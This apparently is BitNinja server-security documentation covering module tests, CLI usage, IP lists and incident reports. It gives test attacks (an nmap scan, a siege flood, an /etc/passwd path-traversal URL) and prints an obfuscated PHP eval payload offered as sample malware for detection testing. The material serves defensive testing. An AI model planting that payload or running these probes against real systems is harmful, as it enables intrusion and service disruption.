To prepare your attacker machine install nmap first:

apt-get install nmap

Now you can start the portscan to simulate the attack vector.

nmap -sV [IP of your server]

Test DoS protection

The DoS detection module is on by default.

To prepare your attacker machine install the siege package on it.

apt-get install siege

Now you can start the portscan to simulate the attack vector.

siege -c100 http://[your server]

Test the Web Application Firewall

To prepare your server, prepare and switch on the Web Application Firewall module. You can do this test using a simple web browser too.

http://[domain of any sites]/info.php?file=/etc/passwd

It should block the connection. Then, if you use Chrome, it will retry the connection and this time – as your IP has been greyslited – the CAPTCHA page will appear.

Test log analysis

The logdetection module is active by default. To prepare your server for the test you should create a file called plugin_googlemap2_proxy.php or if you have any Joomla sites hosted on your server with this extension, you can use that for testing the log analyzer. Open the URL from a browser several times. It will soon trigger the loganalyzer and greylist the IP.

http://[your domain]/plugin_googlemap2_proxy.php

Testing Malware Detection

To test the Malware Detection module, first you have to enable the module. If you’re using BitNinja version (1.17.1) and up, you have to enable the quarantine option in the module’s config.ini file. Then you can place a malware in the /tmp directory (or in any other enabled directory). The Malware Detection module will immediately quarantine the malware. You can find the quarantined malwares in /var/lib/bitninja/quarantine or on the https://admin.bitninja.io admin panel under the Files menu.

To create a malware for testing purposes, copy and paste the following code into a file in the /tmp directory, and save it.

<?php eval(gzinflate(str_rot13(base64_decode('rUl6QttVEP58Vf0Pm71VaUewdkInSIBEKRiIR1UuDvcFkLWxN8m2ttfaXVBG1P9+M3g7L4VltHeEiD2vzzwzOxuulEex4qVHUxQzare3/3dYWYnbEU1m42njKIyi/uDy2pmwQuyzZtvr/fHwd6t7J7QwiawKUAKyC0Hdez6BVGcY/RuOrun5azyMzwfRmN6iTRSfNtSj8J+rMBrHSqN+ejCR6QIsKFgZTLBvU8CDJ4bcFBga/Smadjbl+WHKwfS9KFE8A5QOCuNcptxM4l8a9shQSvOkRcIsIHxnZxrGF4OTEAIMQULp/rdKWzzT/BmrWDCyqbkquQog41x3M0wULOfusiKn/o6PQUFTQEZGM/95pIIgP2UahReDZLjmlDORuTSpZZGk73T45iUyp9uETYboNj10TXHkA7aDFXFhWbnn+y1UwElbxlrRH5KIqzuOABr0NwUBdt9FKxWIW4zUIn7U7qa7K5IeTLx+etkRRrcdmbNjfO0kmSw4jgtBi5aVV/ht/53oa9QfjuPT/sfw8ugiZ+wMpFwbToKV1cng+OoivBzHo8Fg7Nxt1Bc5m2TteIAs4Hsqcor/DEpeOS9kURSvOa6TYZM6d6+u4jfOz96L5nSvnh8wV+aS0AMjWcYPh3nGDNkh0Zx02YFfCw8m6hALdSynEg6XFl9s8JYkMoNh/fnOfsDwkG3LZx498CdY5y4I4wqaHUOXbUNdDAKgxEuh2/N176U5rsAB8EoiDXmkfAGPEG6ZwqNxtkXOvkquw21EPuwbJKTYybiyXex6hplJUm+ELFVsD8kIzklln9bnK05EPYndKtBTqUV3F/Xbju/YTrSqDuoyXktIYucNKhQ3lSoIVzwwYZv6sCa3Rt7In1dkZvMzOcD6x1aaUVWZA5SpnOS4PoDpIe5GwiwHAaWHzxNtLPOcFXZY4IEoysoQsyhsQA3/byhOjgOa5Cnd1FPVJBcrfR2HkjuWSPB+rKT5Ch4+bztn9jexZXWRDZJKmRElRsba7aTMsBZ7WxDW8z9SXJWZcSk5FRm3hfh1/aieuVVGXjRraI1+w2AK/o0apxNfdpPzXR3tTBSX/N5t75FoEHjxkc/a+83fWp6C3+MDJVbGtA4M22OoTjY6OjFYaZuCP1VaOp0NltdpLBJq7dQx2i1bTMdH4LovSoeh07VjTZ8GFTg9S4XdyriGo3incsa5BTt4cQcyl2o8rqPzNFMD91YXk5dk7QZbaonGs3YaML8lFElbL5SGq7Ojs6OPHWALQg6p1zHZsIiqJOFNEwMi7/uAsMf2hoTuk2L24D2iuZn/lnQ4Lpa0U5mn9vJ3Nlyp+Poo/dWO0q79wN7WuPJw/oUnLlOyC66eJh996caW2bxF8xUE2WBLKX4VgvwpDHfaT0NGAIDtiu0lA95jyXW4Zjwf/uB9KnOVb2va7c3ceAGC5/ovCvILqJ1Zk52MOUIC/w8=')))); ?>

BitNinja will auto-update the newest version on the server.

How can you check which is the newest version number?

In case of unusual events when the auto-update does not start there shall be a problem with the package manager.

How can you manually update if the newest version is not running on the server?

Please use the following commands.

Debian, Ubuntu:

apt-get update

apt-get install bitninja

CentOS:

yum update bitninja

How can I update the GPG key?

If the installation fails on Debian/Ubuntu because of the GPG key, you can use the following commands to update:

apt-get update

apt-key adv --keyserver keys.gnupg.net --recv-key 7F8B47DC

If this doesn’t work, you can use the following command:

wget -O- http://apt.bitninja.io/7F8B47DC.gpg | apt-key add -

If there is any problem with the process, please contact us at info@bitninja.io.

 

If you have to stop BitNinja you can use the following command:

service bitninja stop

To remove BitNinja you can use these commands:

Debian based distribution:

apt-get purge 'bitninja*'

Rpm based distribution:

yum remove 'bitninja*'

Removing kmod-ipset on Centos5

yum remove kmod-ipset

Removing ipset on Centos5

yum remove ipset

Removing BitNinja from WHM

wget -qO- https://get.bitninja.io/bitninja-whm.tar.gz | tar -zx && ./bitninja-whm/uninstall

Removing BitNinja from ISPmanager

wget -qO- https://get.bitninja.io/ispmgr-plugin.tar.gz | tar -zx && ./ispmgr-plugin/uninstall

Use the following command to remove SSL certificates:

rm -R /opt/bitninja-ssl-termination

Use the following command to remove the BitNinja logs folder:

rm -R /var/log/bitninja

Not listed

If there is no information about an IP address, or based on the latest behavior the IP is not listed.

User Greylist

In traditional IP reputation terminology, we differentiate black and white lists. An IP can be trusted (whitelisted) or absolutely denied (blacklisted). This concept is very inflexible and this is the cause of the bad reputation that IP reputation lists have. If an IP is false-positively blacklisted, users will get angry at you because they can’t access the system they want to and they will be frustrated as they are unable to do anything about it.

That’s how the concept of greylisting was born. We wanted to represent a list of IPs we think may be malicious but we are not completely sure of it yet.

The greylist contains suspicious IPs that the BitNinja client handles with special care. BitNinja has different CAPTCHA modules for different protocols. The duty of a CAPTCHA module is as follows:

  1. Decide if the user is human or not
  2. Inform the user about the fact that his/her IP has been greylisted
  3. Provide a safe way for the user to delist his/her IP
  4. Save any requests made by non-human parties, growing the knowledgebase about the IP and the sin list.
  5. Honeypotting by pretending to be a vulnerable system so bots will try to connect

If there are suspicious incidents about an IP address, the IP can be greylisted by some users. If an IP is user-greylisted, it means it is only greylisted by some users, not all BitNinja users. When we have enough information about an IP that is sending malicious requests, we move it to the global greylist. If an IP is globally greylisted, it is greylisted by all BitNinja servers.

You can check if an IP is listed by BitNinja using the web front end https://admin.bitninja.io or using our CLI front end that is called bitninjacli. You can check, add, and delete IPs from the greylist using both tools.

Global Greylist

If there is enough evidence that an IP is suspicious, we move it to the global greylist and distribute this information to every BitNinja protected server.

Global blacklist

When an IP is globally greylisted and is still sending malicious requests, we identify it as dangerous. Such IPs are moved to the global blacklist we maintain. BitNinja clients will drop packets for IPs on the global blacklist. The false-positive rate of the global blacklist is very low, as there are many steps before we decide to blacklist an IP. Blacklisted IPs are moved back to the greylist from time-to-time to check if the traffic is still malicious or the system has been disinfected.

User level black/white lists

You can use BitNinja to maintain blacklists and whitelists across your servers. The BitNinja Dashboard or our command-line interface, BitNinja CLI, can be used to add/remove/check IPs against a user’s blacklist and whitelist. If you blacklist an IP, all of your servers will DROP any packets from that IP. You can add CIDRs to your blacklist or your whitelist via BitNinja Dashboard. When you whitelist an IP it guarantees BitNinja won’t interfere with that IP.

Essential list

Essential list provides protection against the most dangerous IPs. These IPs are often used by the most agressive hackers all around the world. When an IP generates more than 5000 malicious requests, BitNinja places it on this list. The essential list is part of our basic IP reputation package, so it’s available for every BitNinja user.

Country blocking

You can add whole countries to your blacklist or whitelist. The country blocking (or whitelisting) feature of BitNinja uses publicly available zone files to add the selected countries’ IP ranges to the user blacklist or user whitelist. The zone files can be found at http://www.ipdeny.com/ipblocks.

You can add countries on the Dashboard in the IP manager menu.

_images/add_countries.png

If you have ipsetv6 or ipsetv4 and add a country or remove it to the blacklist or whitelist, the ipsets will be reloaded on your server(s).

If you don’t have ipset, BitNinja uses iptables rules and simulated ipset. When you add or remove a country, the iptables rules will be reloaded.

For now, if you have more than one server and add a country to your blacklist (or whitelist), the selected IP ranges will be blacklisted (or whitelisted) on all your servers.

Searching in the BitNinja IP reputation database

You can search the IP history using the BitNinja Dashboard at https://admin.bitninja.io.

#

The search field is in the top middle of the UI. You can type an IP and choose the IP option to search in the BitNinja IP reputation database.

Railgun server configuration

Many of our customers who use Cloudflare are not able to see the proper visitor IPs in the logs, only the railgun server IPs. This is due to the fact that the requests are not directly coming from Cloudflare so mod_cloudflare will not restore the IPs of the visitor. That is why we would like to ask you to configure mod_cloudflare the following way:

  1. Open your Apache configuration ( if you do not know where to find it, ask your hosting provider for assitance )

  2. At the very end, add:

    CloudFlareRemoteIPTrustedProxy railgun_address
    
  3. If you have more servers to add, it should look like this:

    CloudFlareRemoteIPTrustedProxy xxx.xxx.xxx.xxx xxx.xxx.xxx.xxx
    

Following this configuration, you will be able to see the adequate logs on our Dashboard.

If you need any further assistance, do not hesitate to contact our support team: info@bitninja.io

Crawlers/Good Bots

It’s possible that BitNinja identifies internet crawlers as malicious bots due to their configuration and may greylist them due to security reasons.

To prevent this issue, we would like to ask those who have spiders, crawlers, or proxies to contact our team at info@bitninja.io and provide their reverse DNS or if it’s not possible, then the fixed IP list. Our Technician Team will thoroughly analyze the activity of the bot and if they see that the questioned robot indeed performs only valid traffic, they will whitelist it upon concordance.

IPv6 limitation

For the time being BitNinja does not support IPv6. If you are not using IPv6 it’s recommended to disable it. If BitNinja caught an IPv4 address, the attacker can still attack through IPv6. To disable IPv6 edit the file – /etc/sysctl.conf

$ sudo gedit /etc/sysctl.conf

And fill in the following lines at the end of that file

# IPv6 disabled
net.ipv6.conf.all.disable_ipv6 = 1
net.ipv6.conf.default.disable_ipv6 = 1
net.ipv6.conf.lo.disable_ipv6 = 1

Save the file and close it. Restart sysctl with

$ sudo sysctl -p

BitNinja will support IPv6 in the future.

BitNinja has a command-line interface to alter or query your black/whitelist and manage the greylist. You can use this tool to integrate your software with BitNinja.

Installation

After installing BitNinja, bitninjacli is accessible. You can use it.

Usage

bitninjacli --help

Usage: bitninjacli Command

Commands:

**********************
* IP MANAGEMENT      *
**********************

--whitelist|--blacklist|--greylist --add|--del|--check=ip \
        [--comment="Your comment why the IP is black or whitelisted"]
    You can manipulate the user specific white/black/greylist
    with the corresponding commnad. You can add/delete/check a
    given IP address.

    Comments can be add to white and blacklist.
    The default comment is: Operation made by cli.
    example:
    # bitninjacli --whitelist --add=1.2.3.4 --comment="I trust this IP"

--reloadiptables
    You can reload Bitninja specific iptables rules with it.

--remove-rules
    Remove every BitNinja related iptables rules and ipsets.
    Use only when Agent exited abnormally.


**********************
* WAF MANAGEMENT     *
**********************

--module=WAFManager --enabled|--disabled
    Enable or disable the waf module locally.

--module=PortHoneypot --enabled|--disabled
    Enable or disable the PortHoneypot module locally.

--module=SslTerminating --enabled|--disabled
    You can start or stop SslTerminating manually, if Bitninja is running.

--module=SslTerminating] --reload
    You can reload SslTerminating haproxy.cfg,  if Bitninja is running.

--module=SslTerminating --regenerate
    You can regenerate SslTerminating haproxy.cfg, if Bitninja is running.

--module=WAF --create-honeypot-url=/honeypot/folder
    Add a web uri to a local Virtual honeypot uri list. This list file will
    be created at /opt/bitninja-waf/etc/UserRules/user_malware_uris.data
    Example use case:
    You have found a web shell under public_html/uploads/images/Shell.php
    With adding images/Shell.php to this list, every POST request will be
    caught by the WAF, if enabled.
    # bitninjacli --waf-honeypotify-uri=images/Shell.php


**********************
* MALWARE MANAGEMENT *
**********************

--module=MalwareDetection --enabled|--disabled
    You can start or stop MalwareDetection manually, if Bitninja is running.

--module=MalwareDetection --whitelist-file=/path/to/file
    Calculate the MD5 hash of the file and whitelist the hash for the malware
    detector. Also upload the file content for further analysis. This function
    is a user level whitelisting, so the hash will be propagated across all
    servers under your user account.

--module=MalwareDetection --sandbox-file=/path/to/file
    Send the file to the central BitNinja sandbox environment for analysis.
    This feature is currently experimental. In the upcoming versions it will
    firs quarantine the file and if the file is not malicious restores it
    automatically. This feature is experimental!

--module=MalwareDetection --list-signatures
        [--type=md5|hex|sa-md5|sa-snippet|ANY]
        [--list=black|white|ANY]
        [--state=draft|validating|published|ANY]
        [--level=global|user|ANY]

    List your user level signatures.
    You can filter the signatures with the different options:
    --type list only a specific type of signatures. Default: no filter
    --list filter blacklist or whitelist
    --state filter the state of the signature
    --level filter the user-level or the global signatures

--module=MalwareDetection --create-signature --path=/path/to/file
    [--name='Malware name'] [--non-interactive] [--recursive]
    You can create a malware signature from a given file and share it on
    all your servers with this function.

    We have implemented the following lifecycle steps for malware signatures:
        1. Draft - The signature is only a draft.
        2. Validating - The signature is distributed to all your servers, but
        it is in log only mode. This state is reserved for testing new
        signatures to avoid false positives.
        3. Production - The signature is actively working on your servers
        4. Discarded - The signature have been removed.

    From the CLI the signature is created in validating state, and you
    can move the signature to production too. You can also use the web ui
    to change the state of a signature.

    This feature is an interactive step-by-step malware signature creator.
    If the file contains PHP source code, it generates a Structure Analysis
    signature. Othervise it will generate an MD5 signature. Then the
    signature is uploaded to the BitNinja cloud with the content of the file
    and gets distributed to your servers to find matching files. Then you are
    prompted to decide if the signature is production ready or not. If
    you permit we move the signature to your production list, and quarantine
    all matching files.

    You can specify a name for the signature with the --name optional
    parameter. If you don't specify a name, the file pathn will be the
    name of the signature.

    With the --non-interactive switch the program will only uplad the signature
    to the BN cloud, and later you can decide to accept or discard the signature
    using the web security console. (admin.bitninja.io)

    With the --recursive switch you can add all files under a directory
    recursively.

--module=MalwareDetection --publish-signature  --id=<signatureId>
    Make signature published. When malware caught it will be quarantained.

--module=MalwareDetection --discard-signature  --id=<signatureId>
    Make signature discarded.

--module=MalwareDetection --list-signature-catches  --id=<signatureId>
    List catches made by a signature.

--module=MalwareDetection --similar-sa=/path/to/file
    Search the index database on the server to find files with matching
    structure to the specified. Useful to test new signatures.

--module=MalwareScanner --scan=/path/to/dir/
    You can manually start MalwareDetection scan on a specific directory.

--module=MalwareScanner --cancel
    You can manually stop the running malware scan.

--module=MalwareDetection --use-auditd
    Change FileSystem monitor temporary to auditd

--module=MalwareDetection --use-inotify
    Change FileSystem monitor temporary to inotifywait

--webhoneypot --file=/path/ot/file
    You can convert a PHP file to a honeypot.

--restore=/path/to/file
    Restores file from quarantine.



**********************
* MISC               *
**********************

--licenseinfo
    Queries the current license information.
    It can be free, trial, ok (means active pro license), no_payment

--countusers
    Counts and logs how many users do you have on the server.

Module Options

BitNinja CLI offers control over its modules with:

--module=ModuleName

Every module can receive the following commands:

--stop/--start/--restart

They will stop/start/restart BitNinja module processes. It can be useful for example, when AntiFlood module bans your attacking IP address and puts it in the local blacklist while you’re testing the agent. In this case, you can use the following command to test further:

bitninjacli --module=AntiFlood --stop

Almost every module can receive the following commands:

--enabled/--disabled/--reload

‘Enabled’ will activate the module and it will start detection. ‘Disabled’ will stop the detection, but the module process itself will still run. With ‘reload’ you can reload the module configuration without the need of restarting the Agent.

Unfortunately not every module is compatible with these command options. See the available options on the module pages.

Our mission is much more than simply creating an easy-to-use server security software. We want to make the Internet a safer place! That’s why we work hard to help everyone in cleaning their infected servers and keeping them clean.

Incident Reports Explained

If you received an incident report from BitNinja, your server or a website is probably infected by malware. How do we know? Every server protected by BitNinja is not only secured, but also part of a global security information network (called Defense Network). Any attack against a BitNinja protected server generates an incident that we store in our central database. Every week we aggregate the collected incidents and send a report to the owner of the source IP of the attack.

Why do we do this? In most cases, the owner of the infected server doesn’t even know that their server is being used by hackers. Your server can be a part of even more botnets. The incidents we capture are only a portion of the malicious activity your server might be a part of! Your server may be used for different cybercrimes such as SPAM, DDoS attacks, phishing, different frauds, etc. If a server is infected, in many cases more than 50% of the server’s resources are used by the hackers and not by the owner!

We believe we can help server owners by informing them about the attacks generated by their servers. We send no more than 1 email per IP per week. We have an incident report page for every IP. You can always find the latest incidents collected by our defense network on the incident report page.

_images/bitninja-incident-report-1.png

Your infected server is sending dangerous requests to other servers. Some of the victims are protected by BitNinja, so we can protect servers against the attack and record the requests to show you what your server does. You can read more about this topic on our blog about how hackers infect servers. https://bitninja.io/blog/2016/01/11/how-botnets-expand-and-how-protect-against-them

The Header

An example of our incident report page looks like this.

_images/bitninja-incident-report-public-page.PNG

Incident Details

_images/incident_explained.png

This is a typical incident captured by BitNinja. The parts of the incident are:

(1) URL: In case of a HTTP request registered by us we save the URL. This URL has nothing to do about sites hosted by the infected server! This is the URL requested by the infected server, and hosted by our clients. We cover hostnames and IP addresses in our public reports as this is sensitive information. We can send you the original logs upon request via email. You can use the URL to filter for outgoing connections or to capture matching packages.

(2) Agent: The user agent as we receive it. Many cases the user agent is spoofed as it is very easy to spoof the user agent of a request.

(3) Post data: We also store the POST/GET data sent by your server. You can use this data to filter for outgoing requests or to capture matching packages.

Types of incidents

BitNinja supports many different modules for defending against attacks. We can detect and defend a wide range of attacks and register many different incidents. Here you can find the most common incident types.

HTTP spam request

_images/incident_explained.png
This is an encrypted spam command request. Your infected server sends a request to a URL where the botnet believes there is an infected file that can be used to send out spam. The request is weakly encrypted, using simple methods like base64_encode, shift, etc. After decrypting the message with BitNinja, you can see the purpose of the request clearly:

_images/incident_http_spam.png

HTTP brute force

_images/incident_http_bruteforce.png
This is a typical brute force attempt. There are different kinds of brute force attacks. Sometimes one IP is used to try different username/password combinations against a website and sometimes a whole botnet is trying different password combinations in a distributed way. You can also see the user agent has been spoofed. It advertises itself as Opera/9.80, but as this traffic was coming from a server, not an end-user device, this has been spoofed for sure.

HTTP script injection

_images/incident_http_script_injection.png
Your server is used by hackers to infect other servers using a technique called script injection. After decrypting the URL parameter, you will get different URLs that will be downloaded by a backdoor script planted earlier.

Information leakage

_images/incident_http_wpconfig.png
Your server is used for hacking other web servers and hosting different CMS systems. There are many different methods of this attack type.

Application level DoS attack

_images/incident_dos.png
The resources of your server have been used to attack other innocent servers and deny their services. Sometimes your server is not compromised, only some unsafe code has been exploited, like the WordPress Brute Force Amplification Attack in the xmlrpc.php or the vulnerability in the google_maps wordpress plugin. There are many similar vulnerabilities in many CMS systems, too.

SSH brute force

_images/incident_http_bruteforce.png
To make your server do brute force SSH login requests, your server has to be compromised seriously. In this case it is very important to take steps. HTTP requests can be caused by hacked websites easily, but SSH login attempts mean a serious infection of your server.

This is just a subset of a wide range of incoming incidents. If you haven’t found yours, please feel free to contact us. We are always happy to help!

Detecting outgoing http attacks

If your server or website has already been compromised and your server is sending out malicious HTTP requests like scans, brute force attempts, etc. You can detect and log the outgoing packets and find out which user caused the problem by adding the following iptables rule.

This rule will log any packet that leaves your server and targets port 80. It also logs the user id so you can identify which user initiated the request. To avoid flooding, we limit the number of logs to 5 per minute. You can increase or decrease this number if you need to fine tune.

iptables -I OUTPUT -p tcp -m tcp --dport 80 -j LOG --log-uid -m limit --limit=5/minute --log-prefix BITNINJA

After running this command, you have to monitor the kernel log for any captured packets. You can see the kernel logs with this command:

dmesg -T

An example of packets made by root. (UID=0 GID=0)

[Wed Jan 20 09:57:00 2016] BITNINJAIN= OUT=lo SRC=10.0.3.131 DST=14.321.31.11 LEN=52 TOS=0x00 PREC=0x00 TTL=64 ID=63055 DF PROTO=TCP SPT=48430 DPT=80 WINDOW=256 RES=0x00 ACK URGP=0 UID=0 GID=0 MARK=0x1

An example of packets initiated by a user (UID=13576 GID=13576)

[Wed Jan 20 10:00:13 2016] BITNINJAIN= OUT=lo SRC=X.X.35.131 DST=Y.Y.110.40 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=22964 DF PROTO=TCP SPT=38694 DPT=80 WINDOW=32792 RES=0x00 SYN URGP=0 UID=13576 GID=13576 MARK=0x1

You can delete the log iptables rule with this command:

iptables -D OUTPUT -p tcp -m tcp --dport 80 -j LOG --log-uid -m limit --limit=5/minute --log-prefix BITNINJA

We are planning to integrate this process into BitNinja in the near future. Please ask our support about the progress.

There are cases when only finding the user who sent the packet is not really useful. For example, if a malicious or vulnerable script is used to send the packet and you use PHP as an Apache module, the sender will be the user who runs the apache2 service, which is usually www-data. However, these scripts must be controlled via HTTP requests, which we can find in the log of the HTTP services. We know the time when the packet was sent from iptables’ log entry, so we can narrow down the list of the vulnerable or malicious scripts by searching for control messages in the HTTP daemon’s access log which were received when the outgoing packet was sent.

If you have legitimate outgoing packets, you may need to record the outgoing traffic so that you can analyze it, search for malicious requests, and find the malicious or vulnerable scripts as we described above. You can use tcpdump for this:

tcpdump dst port 80 -w outbound_http.tcpdump

The command above will write every packet – which was sent to port 80 – into the outbound_http.tcpdump file. Please note, that the file can grow large quite quickly if you have a significant amount of outbound traffic to port 80. You can use Wireshark to view the data collected by tcpdump. You only need to install it onto your workstation, download the dump file from the server, and open it. You can use HTTP as a filter to hide TCP packets without HTTP data. When you find a malicious request, you can change the way of how the time is displayed by selecting the appropriate format from the Time Display Format submenu of the View menu.

Discovering blocked IPs

If you experience any issues while visiting or updating a website, but the site’s IP address is not on greylist or blacklist, the problem could be that one of the IP addresses, that the site is trying to connect to, is greylisted. In these cases the connection to that address remains in SYN_SENT state. You can list all the IP addresses that are stuck in SYN_SENT using the following command:

netstat -ntpu | grep SYN_SENT

Using the output of this command, you can check those IP addresses that are possibly blocked by BitNinja.

Investigating established connections

You can use the following commands to find infections:

netstat -ctupne | grep ESTABLISHED | cut -c45-1000 | grep -E ':443|:80' > connections.txt

cat connections.txt | cut -c1-50 | sort | uniq -c | sort -n > uniq.txt

In these lines netstat is used with -ctupne parameters to print TCP and UDP network connections continuously (every second), showing the pid and the name of the program to which each socket belongs and showing the numeric address instead of the symbolic host. We use grep ESTABLISHED to list only those connections that are established, and we remove the irrelevant information from the output with cut -c45-1000. The grep -E ‘:443|:80’ command filters the output to connections which are bound to port 443 or port 80, so it will list only HTTP and HTTPS connections.

We collect the information to a file: connections.txt, and with the second line of command, we sort the lines and with uniq -c we show every IP address only once, but count the number of connections it has. The final file, uniq.txt will contain only the foreign IP addresses with ports, the number of connections they have, the state of the connections and the user id of the owner of the socket.

Many thanks to Eddie Bijnen from True.nl for sharing this advice!

Troubleshooting the greylist

If you experience issues with websites that are not loading properly when BitNinja is running, there is a chance that the site is trying to connect to a greylisted host. We’ve created a script to solve these situations. The script can be found at:

/opt/bitninja/modules/Cli/scripts/debug-outbound-ip

How to use the script?

  1. Start BitNinja
  2. Run the script at /opt/bitninja/modules/Cli/scripts/debug-outbound-ip
  3. Try to load the website in your browser
  4. Watch the console where the script is running to see if there are any requests to greylisted IP addresses
  5. Delist those IP addresses
  6. Check if these steps solved the problem

You can integrate BitNinja with Slack to receive notifications to your channel about important security events happening on your server(s). You can choose to receive messages when a malware has been found on your server, and when the BitNinja protection becomes active or inactive.

For the integration to work, you should create a Slack app and generate a webhook as described at the original Slack documentation site: https://api.slack.com/incoming-webhooks#getting-started

After successfully generating the webhook, you can save it on your Dashboard, and choose what kind of notifications you’d like to receive on your channel. You must choose at least one of the options provided on: https://admin.bitninja.io/webhooks/index

_images/bitninja-slack-integration-4.jpg
_images/bitninja-slack-integration-2.jpg
_images/bitninja-slack-integration-3.jpg

You can add more Slack webhook URL-s if necessary. After successfully saving the webhook, our services will handle the notification sending to you channel.

Features under development:

  • Manual Malware Scan Option and Cron Jobs
  • IP-based Licensing
  • SenseLog Optimization
  • IPv6 Protection
  • L3 DDoS Detection
  • Mature WAF

You can find the latest BitNinja Linux client changelog here:

View Changelog

If you have to stop BitNinja you can use the following command:

service bitninja stop

To remove BitNinja you can use these commands:

Debian based distribution:

apt-get purge 'bitninja*'

Rpm based distribution:

yum remove 'bitninja*'

Removing kmod-ipset on Centos5

yum remove kmod-ipset

Removing ipset on Centos5

yum remove ipset

Removing BitNinja from WHM

wget -qO- https://get.bitninja.io/bitninja-whm.tar.gz | tar -zx && ./bitninja-whm/uninstall

Removing BitNinja from ISPmanager

wget -qO- https://get.bitninja.io/ispmgr-plugin.tar.gz | tar -zx && ./ispmgr-plugin/uninstall

Use the following command to remove SSL certificates:

rm -R /opt/bitninja-ssl-termination

Use the following command to remove the BitNinja logs folder:

rm -R /var/log/bitninja